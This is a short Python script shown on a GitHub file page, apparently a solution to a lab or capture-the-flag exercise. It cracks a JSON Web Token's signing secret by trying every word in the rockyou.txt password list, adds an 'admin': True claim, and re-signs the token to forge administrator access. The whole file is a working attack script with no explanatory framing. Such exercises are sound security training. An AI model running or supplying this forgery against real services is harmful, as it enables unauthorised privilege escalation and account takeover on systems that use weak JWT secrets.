-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsolution3.py
45 lines (36 loc) · 1012 Bytes
/
solution3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
# DEP:
# $ pip3 install pyjwt
import sys
import jwt
def decode(token):
print(jwt.get_unverified_header(token))
print(jwt.decode(token, verify=False))
if len(sys.argv) == 2:
print('==============')
print('ORIGINAL TOKEN')
print('==============')
token = sys.argv[1]
decode(token)
print('===============================')
print('TESTING SECRET AGAINST WORDLIST')
print('===============================')
wordlist = open('rockyou.txt', 'r')
secret = ''
for word in wordlist:
try:
jwt.decode(token, word.strip())
except jwt.InvalidSignatureError:
pass
else:
print(word.strip())
secret = word.strip()
break
t = jwt.decode(token, verify=False)
t.update({'admin': True})
print('==============')
print('MODIFIED TOKEN')
print('==============')
token = jwt.encode(t, secret, algorithm='HS256')
decode(token)
print(token)